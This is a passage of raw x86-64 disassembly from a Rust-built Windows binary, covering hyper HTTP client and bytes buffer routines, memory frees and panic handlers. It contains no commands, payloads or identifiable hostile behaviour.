cmp rax, rdi
setne bpl
movaps xmm0, xmmword [rsp + 0x280]
movaps xmm1, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov r15, qword [rsi + 0x1d8]
cmp qword [r15], 0
je 0x14006bb49
lea rcx, [r15 + 8]
call fcn.1400564c0
not r14b
or r14b, bpl
movzx r9d, r14b
and r9d, 1
mov qword [r15], 1
movdqa xmm0, xmmword [rsp + 0xe0]
movdqa xmm1, xmmword [rsp + 0xf0]
movdqu xmmword [r15 + 8], xmm0
movdqu xmmword [r15 + 0x18], xmm1
mov qword [rsp + 0x20], rdi
mov rcx, r13
mov rdx, rsi
lea r8, [rsp + 0x580]
call fcn.140079e80
mov rax, qword [rsp + 0xe0]
cmp rax, 2
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
lea rdi, [0x1401942ac]
je 0x14006ae00
mov rcx, qword [rsp + 0xe8]
movzx edx, byte [rsp + 0xf0]
mov r8, rax
xor r8, 1
or r8, rcx
jne 0x14006bcfc
movzx eax, dl
and eax, 1
or rax, 4
jmp 0x14006bd1c
mov qword [rsp + 0x200], rdi
movaps xmmword [rsp + 0x410], xmm6
mov dword [rsp + 0x420], 0
lea rax, [rsp + 0x200]
mov qword [rsp + 0x3a0], rax
lea rax, [0x14000ecc0]
mov qword [rsp + 0x3a8], rax
lea rax, [0x140147278]
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 2
mov qword [rsp + 0x2a0], 0
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 1
lea rcx, [rsp + 0x410]
lea rdx, [0x140147218]
lea r8, [rsp + 0x280]
call fcn.140009870
test al, al
jne 0x14006ccbf
mov rax, qword [rsp + 0x410]
lea rdx, [rsp + 0x460]
mov rcx, qword [rdx - 0x48]
mov qword [rsp + 0x280], rcx
mov ecx, dword [rdx - 0x40]
mov dword [rsp + 0x288], ecx
mov ecx, 2
jmp 0x14006beda
mov rcx, rsi
call fcn.14007d380
test rax, rax
lea rdi, [0x1401942ac]
jne 0x14006ca35
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
lea rcx, [rsp + 0xa8]
call qword [rax + 0x10]
mov r15, qword [rsp + 0x30]
jmp 0x14006c055
lea r9, [rsp + 0x118]
mov r8d, dword [r9 - 0x27]
mov r9d, dword [r9 - 0x24]
mov dword [rsp + 0x413], r9d
mov dword [rsp + 0x410], r8d
mov qword [rsi + 0x90], rax
mov qword [rsi + 0x98], rcx
mov byte [rsi + 0xa0], dl
mov eax, dword [rsp + 0x410]
mov ecx, dword [rsp + 0x413]
mov rdx, qword [rsp + 0x388]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
jmp 0x14006ae00
mov qword [rsp + 0x200], r15
movaps xmmword [rsp + 0x410], xmm6
mov dword [rsp + 0x420], 0
lea rax, [rsp + 0x200]
mov qword [rsp + 0x3a0], rax
lea rax, [0x14000ecc0]
mov qword [rsp + 0x3a8], rax
lea rax, [0x140147278]
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 2
mov qword [rsp + 0x2a0], 0
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 1
lea rcx, [rsp + 0x410]
lea rdx, [0x140147218]
lea r8, [rsp + 0x280]
call fcn.140009870
test al, al
jne 0x14006ccbf
mov eax, dword [rsp + 0x420]
lea rcx, [rsp + 0x100]
mov dword [rcx + 0x10], eax
movaps xmm0, xmmword [rsp + 0x410]
movups xmmword [rcx], xmm0
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xf8], rdi
lea rax, [0x14015cc5c]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], 7
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0xe0]
call case.0x140097fb5.425
movzx eax, byte [rsi + 0xa0]
xor al, 1
mov r15, qword [rsp + 0x30]
jmp 0x14006c03f
lea r9, [rsp + 0x118]
mov r8d, dword [r9 - 0x27]
mov r9d, dword [r9 - 0x24]
mov dword [rsp + 0x413], r9d
mov dword [rsp + 0x410], r8d
mov qword [rsi + 0x90], rax
mov qword [rsi + 0x98], rcx
mov byte [rsi + 0xa0], dl
mov eax, dword [rsp + 0x410]
mov ecx, dword [rsp + 0x413]
mov rdx, qword [rsp + 0x388]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
lea rcx, [rsp + 0x280]
call fcn.1400564c0
jmp 0x14006ae00
mov qword [rsi + 0x98], rcx
xor ecx, ecx
mov qword [rsp + 0xe0], rcx
movdqa xmm0, xmmword [rsp + 0x260]
lea rcx, [rsp + 0x118]
movdqu xmmword [rcx - 0x30], xmm0
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0x100], r14
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x280]
mov qword [rcx - 8], rax
mov eax, dword [rsp + 0x288]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28c]
mov dword [rcx + 4], eax
lea rax, [0x14015dd61]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov rcx, qword [rsp + 0x68]
mov rdx, r12
call fcn.1400a3bd0
cmp dword [rsi + 0x90], 1
jne 0x14006bf7c
cmp qword [rsi + 0x98], 0
jne 0x14006bf7c
movzx eax, byte [rsi + 0xa0]
or rax, 4
mov qword [rsi + 0x90], rax
mov r14, qword [rsp + 0x38]
lea rdi, [0x1401942ac]
jmp 0x14006ae00
mov rdx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
mov rcx, r13
call qword [rax + 0x30]
mov r14, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xf0]
jmp 0x14006bb0c
movdqu xmm0, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x280], xmm0
mov qword [rsp + 0x290], r15
mov qword [rsp + 0x298], rdi
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x280]
call fcn.1400a4040
movzx eax, byte [rsi + 0xa0]
xor al, 1
jmp 0x14006c035
movdqu xmm0, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x280], xmm0
mov qword [rsp + 0x290], r15
mov qword [rsp + 0x298], rdi
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x280]
call fcn.1400a4040
xor eax, eax
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
lea rdi, [0x1401942ac]
movzx eax, al
xor rax, 5
mov rcx, qword [rsp + 0x50]
mov qword [rcx], rax
cmp qword [r13], 0
je 0x14006adf2
mov rcx, rbp
call fcn.1400564c0
jmp 0x14006adf2
mov rdx, qword [rsi + 0xf0]
test rdx, rdx
je 0x14006c0d6
cmp r15, r14
mov rcx, r14
cmovb rcx, r15
mov r8, qword [rsi + 0xd8]
mov rax, qword [rsi + 0xe8]
sub r8, rax
cmp r8, rcx
jae 0x14006c0d6
mov rdi, rax
sub rdi, rdx
jb 0x14006cf95
mov qword [rsi + 0xe8], 0
je 0x14006c0cb
mov rcx, qword [rsi + 0xe0]
add rdx, rcx
mov r8, rdi
call fcn.140121660
mov qword [rsi + 0xe8], rdi
mov qword [rsi + 0xf0], 0
mov rdi, qword [rsp + 0x418]
nop
cmp r15, r14
mov r12, r14
cmovb r12, r15
test r12, r12
je 0x14006c193
mov rax, qword [rsi + 0xd8]
mov rdx, qword [rsi + 0xe8]
sub rax, rdx
cmp rax, r12
jb 0x14006c17a
add rdx, qword [rsi + 0xe0]
mov rcx, rdx
mov rdx, rdi
mov r8, r12
call fcn.140121660
add qword [rsi + 0xe8], r12
mov r14, qword [rsp + 0x430]
sub r14, r12
jb 0x14006cc28
mov qword [rsp + 0x4d0], r12
mov rax, qword [rsp + 0x420]
mov r15, rax
sub r15, r12
jb 0x14006cb92
mov qword [rsp + 0x420], r15
add r12, qword [rsp + 0x418]
mov qword [rsp + 0x418], r12
mov qword [rsp + 0x430], r14
mov rdi, r12
jmp 0x14006c0e0
mov rcx, qword [rsp + 0x68]
mov r8, r12
call fcn.14012aee0
mov rdx, qword [rsi + 0xe8]
jmp 0x14006c109
mov rax, qword [rsp + 0x410]
mov r8, qword [rsp + 0x420]
lea rcx, [rsp + 0x428]
mov rdx, rdi
call qword [rax + 0x10]
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
lea rdi, [0x1401942ac]
movzx eax, byte [rsi + 0xa0]
xor al, 1
jmp 0x14006c046
mov byte [rsi + 0x1a8], 1
jmp 0x14006c1f3
lea rcx, [rsp + 0x200]
call fcn.140056dc0
lea rcx, [rsp + 0x280]
call fcn.140056eb0
mov byte [rsi + 0x1e0], 1
mov qword [rsi + 0x70], 4
mov qword [rsi + 0x90], 5
mov byte [rsi + 0xd2], 2
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
lea rdi, [0x1401942ac]
nop word cs:[rax + rax]
mov rcx, rsi
mov rdx, r14
call fcn.140057060
test rax, rax
sete al
test rdx, rdx
setne cl
test al, cl
jne 0x14006c2f7
mov eax, dword [rsp + 0x25c]
inc eax
cmp byte [rsi + 0xd1], 0
mov byte [rsi + 0xd1], 0
lea r13, [rsp + 0xe0]
jne 0x140069abb
mov eax, 1
cmp byte [rsi + 0x1e0], 0
jne 0x14006c8f7
cmp qword [rsi + 0x70], 4
je 0x14006c8f7
jmp 0x14006c871
mov r12, rax
jmp 0x14006c38f
mov rax, qword [r14]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx + 0x10]
mov eax, 1
jmp 0x14006c871
mov r12, rdx
jmp 0x14006c38f
test al, 1
je 0x14006c378
lea rcx, [rsp + 0x6c8]
call fcn.140058010
cmp qword [r13], 0
jne 0x14006c37f
jmp 0x14006c387
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cceb
mov r12, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 1
movzx eax, byte [0x14019f308]
mov edx, 8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006ce06
mov qword [rax], rdi
mov qword [r12], rax
lea rax, [0x1401592f8]
mov qword [r12 + 8], rax
cmp qword [r13], 0
je 0x14006c387
mov rcx, rbp
call fcn.1400564c0
mov qword [r13], 0
movzx edi, byte [rsi + 0x1d0]
mov byte [rsi + 0x1d0], 3
cmp dil, 3
je 0x14006c44c
mov rax, qword [rsp + 0x48]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0xf0], xmm1
movdqa xmmword [rsp + 0xe0], xmm0
mov byte [rsp + 0x100], dil
mov rcx, qword [rsp + 0xd8]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x101], eax
mov dword [rsp + 0x104], ecx
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cceb
mov rbx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
lea rdx, str.connection_errorC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
mov r8d, 0x10
mov rcx, rax
call fcn.1400a8460
mov rcx, qword [rsp + 0xf0]
mov edx, edi
mov r8, rbx
call fcn.140036230
lea rcx, [rsp + 0xe0]
call fcn.140056350
mov qword [rsp + 0xe8], r12
mov qword [rsp + 0xe0], 3
lea rdx, [rsp + 0xe0]
mov rcx, r15
call fcn.140056590
mov r15, rax
xor eax, eax
test r15, r15
setne al
add eax, eax
mov qword [rsp + 0x390], rax
mov qword [rsp + 0x398], r15
test rax, rax
je 0x14006c86c
cmp rax, 1
jne 0x14006c86f
mov rax, qword [rsi]
mov qword [rsi], 3
cmp rax, 2
jae 0x14006cd6d
lea rdx, [rsi + 8]
mov qword [rsp + 0x788], rax
lea rcx, [rsp + 0x790]
mov r8d, 0x1e0
call fcn.140121660
mov rdi, qword [rsp + 0x860]
mov r8, qword [rsp + 0x868]
mov rax, qword [rsp + 0x880]
mov qword [rsp + 0x38], rax
mov rbp, qword [rsp + 0x888]
mov rbx, qword [rsp + 0x890]
mov rax, qword [rsp + 0x898]
mov qword [rsp + 0x48], rax
mov r13, qword [rsp + 0x8e0]
mov r12, qword [rsp + 0x8e8]
mov rax, qword [rsp + 0x8f0]
mov r14, qword [rsp + 0x8f8]
mov rcx, qword [rsi + 0x150]
mov qword [rsp + 0x6d0], rcx
movups xmm0, xmmword [rsi + 0x140]
movaps xmmword [rsp + 0x6c0], xmm0
test r14b, 1
jne 0x14006c56a
lea rax, [0x14016a948]
mov qword [rsp + 0xd8], rax
mov rsi, qword [rsp + 0x48]
jmp 0x14006c5f2
mov qword [rsp + 0x50], r8
shr r14, 5
sub r13, r14
add r12, r14
add rax, r14
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], r13
mov qword [rsp + 0x420], r12
lea rcx, [rsp + 0x580]
lea rdx, [rsp + 0x410]
call fcn.140008100
mov qword [rsp + 0x90], r14
mov rax, qword [rsp + 0x590]
mov r12, rax
sub r12, r14
jb 0x14006ce15
mov r13, r14
add r13, qword [rsp + 0x588]
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0xd8], rax
mov r14, qword [rsp + 0x598]
mov rsi, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
movaps xmm0, xmmword [rsp + 0x6c0]
movaps xmmword [rsp + 0x280], xmm0
mov rax, qword [rsp + 0x6d0]
mov qword [rsp + 0x290], rax
test rdi, rdi
je 0x14006c626
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x14006c6b3
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov r8, qword [rsp + 0x38]
cmp rbx, r8
mov rax, r8
cmovb rax, rcx
mov rdx, rbx
sub rdx, rax
mov rbp, r8
sub rbp, rdx
lea r12, [rdx + rsi]
mov rdi, rsi
sub rdi, rbp
cmovb rdi, rcx
cmova r12, r8
sub r12, rdx
jne 0x14006c8aa
cmp rbp, qword [rsp + 0x48]
mov r12, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x50]
jae 0x14006c6b3
lea rsi, [rbp + 0x20]
jmp 0x14006c699
add rsi, 0x50
dec rdi
je 0x14006c6b3
cmp dword [rsi - 0x20], 3
je 0x14006c690
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
jmp 0x14006c690
cmp qword [rsp + 0x38], 0
je 0x14006c6cd
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x788]
call fcn.1400561c0
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0xf0], rax
movaps xmm0, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], r14
movups xmm0, xmmword [rsp + 0x908]
movups xmm1, xmmword [rsp + 0x918]
movups xmm2, xmmword [rsp + 0x928]
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm1
movups xmmword [rsp + 0x138], xmm2
cmp byte [rsp + 0x958], 3
je 0x14006c769
lea rcx, [rsp + 0x938]
call fcn.140056350
lea rbx, [rsp + 0xf8]
lea rsi, [rsp + 0x118]
mov rdi, qword [rsp + 0x960]
cmp qword [rdi], 0
je 0x14006c790
lea rcx, [rdi + 8]
call fcn.1400564c0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x520], xmm0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x530], rax
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rsp + 0x660], xmm0
movaps xmmword [rsp + 0x670], xmm1
mov rcx, rsi
call fcn.14005cdc0
lea rcx, [rsp + 0x130]
call fcn.14005ced0
movzx eax, byte [0x14019f308]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cdf7
mov rcx, qword [rsp + 0x530]
mov qword [rax + 0x10], rcx
movaps xmm0, xmmword [rsp + 0x520]
movups xmmword [rax], xmm0
movdqa xmm0, xmmword [rsp + 0x660]
movdqa xmm1, xmmword [rsp + 0x670]
movdqu xmmword [rsp + 0xf0], xmm0
movdqu xmmword [rsp + 0x100], xmm1
mov qword [rsp + 0xe0], rax
lea rax, [0x140159020]
mov qword [rsp + 0xe8], rax
lea rdx, [rsp + 0xe0]
mov rcx, r15
call fcn.140030630
xor r15d, r15d
xor eax, eax
mov rdx, r15
movaps xmm6, xmmword [rsp + 0x970]
movaps xmm7, xmmword [rsp + 0x980]
movaps xmm8, xmmword [rsp + 0x990]
movaps xmm9, xmmword [rsp + 0x9a0]
add rsp, 0x9b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
shl rbx, 4
lea rcx, [rbx + rbx*4]
shl rax, 4
lea rax, [rax + rax*4]
sub rcx, rax
mov rax, qword [rsp + 0x50]
lea rsi, [rcx + rax]
add rsi, 0x20
jmp 0x14006c8dd
add rsi, 0x50
dec r12
je 0x14006c671
cmp dword [rsi - 0x20], 3
je 0x14006c8d0
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
jmp 0x14006c8d0
mov rdi, qword [rsi]
mov r15, qword [rsi + 8]
mov qword [rsi], 0
cmp rdi, 1
jne 0x14006c977
mov r12, qword [rsi + 0xc0]
mov qword [rsi + 0xc0], 0
test r12, r12
je 0x14006c47d
test r15, r15
je 0x14006ca2b
mov rax, qword [r15 + 0x30]
mov rcx, rax
test cl, 4
jne 0x14006c94d
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [r15 + 0x30], rdx
jne 0x14006c933
and ecx, 5
cmp ecx, 1
jne 0x14006c960
mov rax, qword [r15 + 0x20]
mov rcx, qword [r15 + 0x28]
call qword [rax + 0x10]
lock dec qword [r15]
jne 0x14006ca2b
mov rcx, r15
call fcn.1400cb5a0
jmp 0x14006ca2b
mov rcx, qword [rsi + 0x140]
mov rax, qword [rsi + 0x148]
mov rdx, r14
call qword [rax + 0x30]
mov rcx, rax
or rcx, rdx
jne 0x14006ca09
test rdi, rdi
sete al
test r15, r15
sete cl
or cl, al
jne 0x14006c9e2
mov rax, qword [r15 + 0x30]
mov rcx, rax
test cl, 4
jne 0x14006c9c1
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [r15 + 0x30], rdx
jne 0x14006c9a7
and ecx, 5
cmp ecx, 1
jne 0x14006c9d4
mov rax, qword [r15 + 0x20]
mov rcx, qword [r15 + 0x28]
call qword [rax + 0x10]
lock dec qword [r15]
jne 0x14006c9e2
mov rcx, r15
call fcn.1400cb5a0
mov r12, qword [rsi + 0xc0]
mov qword [rsi + 0xc0], 0
test r12, r12
mov r15, qword [rsp + 0x30]
jne 0x14006c38f
xor eax, eax
jmp 0x14006c47d
test rax, rax
mov eax, 1
jne 0x14006c871
test rdx, rdx
je 0x14006c993
mov rcx, rdx
call fcn.140033c00
mov r12, rax
mov r15, qword [rsp + 0x30]
jmp 0x14006c38f
mov r12, rax
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
lea rcx, [rsp + 0xa8]
call qword [rax + 0x10]
mov r15, qword [rsp + 0x30]
cmp qword [r13], 0
jne 0x14006c37f
jmp 0x14006c387
mov rdi, rdx
mov qword [rsi + 0x70], 4
mov qword [rsi + 0x90], 5
mov byte [rsi + 0xd2], 2
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cceb
mov r12, rax
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 6
movzx eax, byte [0x14019f308]
mov edx, 8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006ce06
mov qword [rax], rdi
mov qword [r12], rax
lea rax, [0x140147dd0]
mov qword [r12 + 8], rax
jmp 0x14006c38f
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cceb
mov r12, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 3
jmp 0x14006c38f
mov qword [rsi + 0x70], 4
mov byte [rsi + 0xd2], 2
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14006cceb
mov r12, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 2
jmp 0x14006c38f
call fcn.140033b40
mov r12, rax
jmp 0x14006c38f
call fcn.140033b00
mov r12, rax
mov qword [rsi + 0x70], 4
mov byte [rsi + 0xd2], 2
jmp 0x14006c38f
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140122a00
mov qword [rsp + 0x200], rax
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x3a0], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x3a8], rax
lea rcx, [rsp + 0x200]
mov qword [rsp + 0x3b0], rcx
mov qword [rsp + 0x3b8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 2
mov qword [rsp + 0x2a0], 0
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
lea rcx, [rsp + 0x280]
call fcn.1401224d0
lea rcx, [0x14015ce47]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x23
call fcn.140122660
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140122a00
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x280], rax
lea rax, [0x140036a10]
mov qword [rsp + 0x288], rax
lea rax, [0x14015a268]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x280]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0xe0]
call fcn.1401224d0
lea rax, [0x1401472c8]
mov qword [rsp + 0x20], rax
lea rcx, str.CHUNK_SIZE_MAX_BYTES_should_fit_any_usize
lea r9, [0x1401471f8]
lea r8, [rsp + 0x280]
mov edx, 0x29
call fcn.140122900
mov ecx, 8
mov edx, 0x38
call fcn.140122190
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x280], rax
lea rax, [0x140036a10]
mov qword [rsp + 0x288], rax
lea rax, [0x14015a268]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x280]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0xe0]
call fcn.1401224d0
mov qword [rsp + 0xe0], r15
lea rcx, [rsp + 0xe0]
call fcn.14006cfb0
lea rax, str.Upgrade_expects_h1
mov qword [rsp + 0x280], rax
lea rax, [0x140031b60]
mov qword [rsp + 0x288], rax
lea rax, str.internal_error:_entered_unreachable_code:
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x280]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
lea rcx, [rsp + 0xe0]
call fcn.1401224d0
mov ecx, 8
mov edx, 0x18
call fcn.140122190
mov ecx, 8
mov edx, 8
call fcn.140122190
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x280], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x288], rax
lea rcx, [rsp + 0x3a0]
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x298], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x280]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
lea rcx, [rsp + 0xe0]
call fcn.1401224d0
mov qword [rsp + 0x580], rdx
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
mov qword [rsp + 0x20], rax
lea rcx, str.just_sent_Ok
lea r9, fcn.140036170
lea r8, [rsp + 0x580]
mov edx, 0xc
call fcn.140122900
mov qword [rsp + 0x580], r12
lea rax, [rsp + 0x90]
mov qword [rsp + 0x280], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x288], rax
lea rcx, [rsp + 0x580]
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x298], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x280]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0xe0]
call fcn.1401224d0
mov ecx, 8
mov edx, 0x70
call fcn.140122190
ud2
mov ecx, 8
mov edx, 0x28
call fcn.140122190
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.1401225f0
int3
add byte [rax], al
add bl, ch
adc eax, 0x20488b48
mov rax, qword [rax + 0x28]
lea rdx, [0x140165d4b]
mov r8d, 1
call qword [rax + 0x18]
push rax
sbb byte [rcx + rax], ah
push rax
sbb byte [rcx + rax], ah
add rsp, 0x40
pop rsi
ret
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x1400b1050]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.14000c0c0
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x14006dcb2
mov al, 1
test dl, 1
jne 0x14006dcd3
cmp rcx, 1
jne 0x14006dcb6
mov rsi, qword [rsp + 0x28]
cmp byte [rsp + 0x31], 0
je 0x14006dcbb
test byte [rsi + 0x34], 4
jne 0x14006dcbb
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
je 0x14006dcbb
jmp 0x14006dcd3
mov eax, edx
jmp 0x14006dcd3
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
mov r8d, 1
call qword [rax + 0x18]
and al, 1
add rsp, 0x40
pop rsi
ret
add byte [rax], al
add byte [rax], al
add byte [rax + 0x24448948], al
xor byte [rdi], cl
sub byte [rsp + 0x60], al
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x28], 2
jmp 0x14006e0f5
add dword gs:[rax], eax
invalid
add dword gs:[rax], eax
add byte [rcx - 0x75], cl
add byte [rax - 0x75], cl
adc byte [rax - 0x75], cl
or dil, dil
adc cl, byte [rcx - 0x77]
invalid
nop
add byte [rax], al
add byte [rbp - 0x77], cl
mov ebp, 0x98
mov byte [rdi], 6
test bl, bl
je 0x14006e067
jmp 0x14006e076
mov rax, qword [0x14019f300]
